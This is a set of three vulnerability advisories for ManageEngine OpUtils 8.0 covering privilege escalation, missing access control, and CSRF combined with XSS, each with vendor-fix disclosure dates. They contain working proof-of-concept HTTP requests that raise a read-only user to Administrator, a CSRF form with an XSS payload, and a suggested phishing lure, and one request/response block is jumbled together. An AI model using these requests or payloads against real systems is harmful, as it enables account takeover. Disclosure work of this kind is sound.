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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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===================================================================================
Privilege escalation Vulnerability in ManageEngine oputils
===================================================================================

Overview
========

Title:- Privilege escalation Vulnerability in ManageEngine oputils
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: ManageEngine oputils
Tested Version: : oputils 8.0
Severity: HIGH

Advisory ID
============
2016-05-Manage_Engine

About the Product:
==================
OpUtils is a Switch Port & IP Address Management software that helps network engineers manage their Switches and IP Address Space with ease. With its comprehensive set of 30+ tools, it helps them to perform network monitoring tasks like detecting a rogue device intrusion, keep a check on bandwidth usage, monitoring availability of critical devices, backing up Cisco configuration files and more.

Description:
============

This Privilege escalation vulnerability enables an Normal user to escalate privilege and become administrator of the application.

Vulnerability Class:
====================
Top 10 2014-I2 Insufficient Authentication/Authorization https://www.owasp.org/index.php/Top_10_2014-I2_Insufficient_Authentication/Authorization

How to Reproduce: (POC):
========================

* you should have Read only user  on OpUtils

* login with that account to get api key something like 375e0fa0-0bb3-479c-a646-debb90a1f5f0

* Setup Burp and use change user password request and change userName to admin and newPwd to desire password HUrry you are admin now. :)

POC
====

Burp Requst
-----------
POST /oputilsapi/admin?key=375e0fa0-0bb3-479c-a646-debb90a1f5f0 HTTP/1.1

Host: 192.168.1.10:7080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.10:7080/apiclient/ember/index.jsp

Content-Length: 151

Cookie: OPUTILSJSESSIONID=AC6E9B2C01FDDD5E27C245BC6F31C032; JSESSIONID=B59D8FD4B17DB7200A991299F4034DF1; OPUTILSJSESSIONIDSSO=1F8857A875EB16418DD7889DB60CFB66

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache



v=1&format=json&operation=DELETE_OR_MODIFY_USER&action1=MODIFY_USER&userInAction=kk&userRole=Administrator&userAuthType=Local&contactinfoID=2&loginID=2


Response
--------
HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Set-Cookie: OPUTILSJSESSIONIDSSO=1F8857A875EB16418DD7889DB60CFB66; Expires=Thu, 01-Jan-1970 00:00:10 GMT

Set-Cookie: OPUTILSJSESSIONID=184C572A3D2E17EEC3B78C027B925421; Path=/

Content-Type: application/json;charset=UTF-8

Content-Length: 90

Date: Thu, 04 Feb 2016 13:27:09 GMT



{"input":"{newUserName=MODIFY_USER, userInAction=kk, domainName=null}","status":"Success"}


Mitigation
==========
Upgrade to next Service pack

Disclosure:
===========
04-Feb-2016 Repoerted to vendor
11-Feb-2016 Fixed By vendor

################################################################################

====================================================================================================
Missing Function Level Access control Vulnerability in OPutils
====================================================================================================

Overview
========

Title:- Missing Function Level Access control Vulnerability in ManageEngine OpUtils
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: OPUTILS
Tested Version: : OPUTILS 8.0
Severity: Medium

Advisory ID
============
2016-06-Manage_Engine

Description:
============

This Missing Function Level Access Control vulnerability enables an Normal user to execute the Adinisitative Task.

Vulnerability Class:
====================
2013-A7-Missing Function Level Access Control https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control

How to Reproduce: (POC):
========================

* Get The administrative Task URL from either demo site or download locally

* Now Login With Normal User

* Paste the below requst or any other for Ex. http://IP-OF-Server:7080/oputilsapi/admin?v=1&format=json&key=375e0fa0-0bb3-479c-a646-debb90a1f5f0&operation=GET_USER_DETAILS

POC
====

Burp Requst
-----------
GET /oputilsapi/admin?v=1&format=json&key=375e0fa0-0bb3-479c-a646-debb90a1f5f0&operation=GET_USER_DETAILS HTTP/1.1

Host: 192.168.1.10:7080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0

Accept: */*

Accept-Language: en-US,en;q=0.5



Response
--------


HTTP/1.1 200 OK
erver: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 589

Date: Thu, 04 Feb 2016 14:28:25 GMT



{"result":[{"ad-domain-name":"","user-name":"admin","account-created-time":"30 Jan 16, 12:20 AM","Action":"","user-contactinfo-id":"1","user-role":"Administrator","user-description":"--","user-phone-number":"","user-email":"","user-id":"1","ad-domain-id":"","user-login-id":"1"},{"ad-domain-name":"","user-name":"kk","account-created-time":"30 Jan 16, 12:23 AM","Action":"","user-contactinfo-id":"2","user-role":"Read Only User","user-description":"--","user-phone-number":"","user-email":"","user-id":"2","ad-domain-id":"","user-login-id":"2"}],"input":"{userId=null}","status":"Success"}
Server: Apache-Coyote/1.1

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET,POST

Access-Control-Max-Age: 5000

Content-Type: application/json;charset=UTF-8

Date: Sat, 30 Jan 2016 21:39:03 GMT

Content-Length: 19



{"resolved":true}

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.10:7080/apiclient/ember/index.jsp

Cookie: OPUTILSJSESSIONID=C256E5B41CC23B33ACF94D206E243FB2; JSESSIONID=B59D8FD4B17DB7200A991299F4034DF1; OPUTILSJSESSIONIDSSO=28A377BA0B7D0C6E21D1E2B3A3E4A371

Connection: keep-alive

Mitigation
==========
Upgrade to NextService Pack

Disclosure:
===========
04-Feb-2016 Repoerted to vendor
11-Feb-2016 Fixed By Vendor

################################################################################

===============================================================================
CSRF and XXS In Manage Engine oputils
===============================================================================

Overview
========

* Title : CSRF  and XSS In Manage Engine OPutils
* Author: Kaustubh G. Padwad
* Plugin Homepage: https://www.manageengine.com/products/oputils/
* Severity: HIGH
* Version Affected: Version 8.0
* Version Tested : Version 8.0
* version patched:

Advisory ID
============
2016-01-Manage_Engine

Description
===========

Vulnerable Parameter
--------------------
1. RouterName
2. action Form
3. selectedSwitchTab
4. ipOrHost
5. alertMsg
6. hostName
7. switchID
8. oidString

About Vulnerability
-------------------
This Application is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin?s browser can be made t do almost anything the admin user could typically do by hijacking admin's cookies etc.

Vulnerability Class
===================
Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting       (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)

Steps to Reproduce: (POC)
=========================

* Add follwing code to webserver and send that malicious link to application Admin.
* The admin should be loggedin when he clicks on the link.
* Soical enginering might help here

For Example :- Device password has been changed click here to reset

####################CSRF COde#######################
<html>

  <body>

    <form action="http://192.168.1.10:7080/DeviceExplorer.cc">

      <input type="hidden" name="RouterName" value="kaus"><img&#32;src&#61;a&#32;onerror&#61;confirm&#40;"Kaustubh"&#41;>tubh" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>


Mitigation
==========
Upgrade to next service pack

Change Log
==========

Disclosure
==========
28-January-2016 Reported to Developer
28-January-2016 Acknodlagement from developer
11-February-2016 Fixed by vendor ()

credits
=======
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@me.com
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad